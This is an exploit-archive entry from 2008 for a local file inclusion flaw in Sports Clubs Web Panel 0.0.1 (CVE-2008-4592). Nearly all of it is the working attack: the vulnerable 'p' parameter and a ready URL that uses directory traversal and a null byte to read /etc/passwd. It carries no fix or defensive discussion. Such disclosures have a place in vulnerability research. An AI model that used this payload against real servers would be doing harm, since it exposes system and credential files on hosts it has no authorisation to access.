Sports Clubs Web Panel 0.0.1 - 'p' Local File Inclusion



EKU-ID: 14313 CVE: OSVDB-49151;CVE-2008-4592 OSVDB-ID:
Author: StAkeR Published: 2008-09-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


--==+============================================================================+==--
--==+   Sports Clubs Web Panel 0.0.1 Local File Inclusion Vulnerability          +==--
--==+============================================================================+==--

 [*] Discovered By: StAkeR ~ StAkeR@hotmail.it
 [+] Discovered On: 11 Sep 2008
 [+] Download: http://sourceforge.net/project/downloading.php?group_id=188949&use_mirror=ovh&filename=sportspanel-0.0.1a.tar.gz&50146370

 [*] Vulnerability:

 [*] LFI
 [+] index.php?p= [File %00]
 [+] http://site.com/index.php?p=../../../../../../../etc/passwd%00

# milw0rm.com [2008-09-11]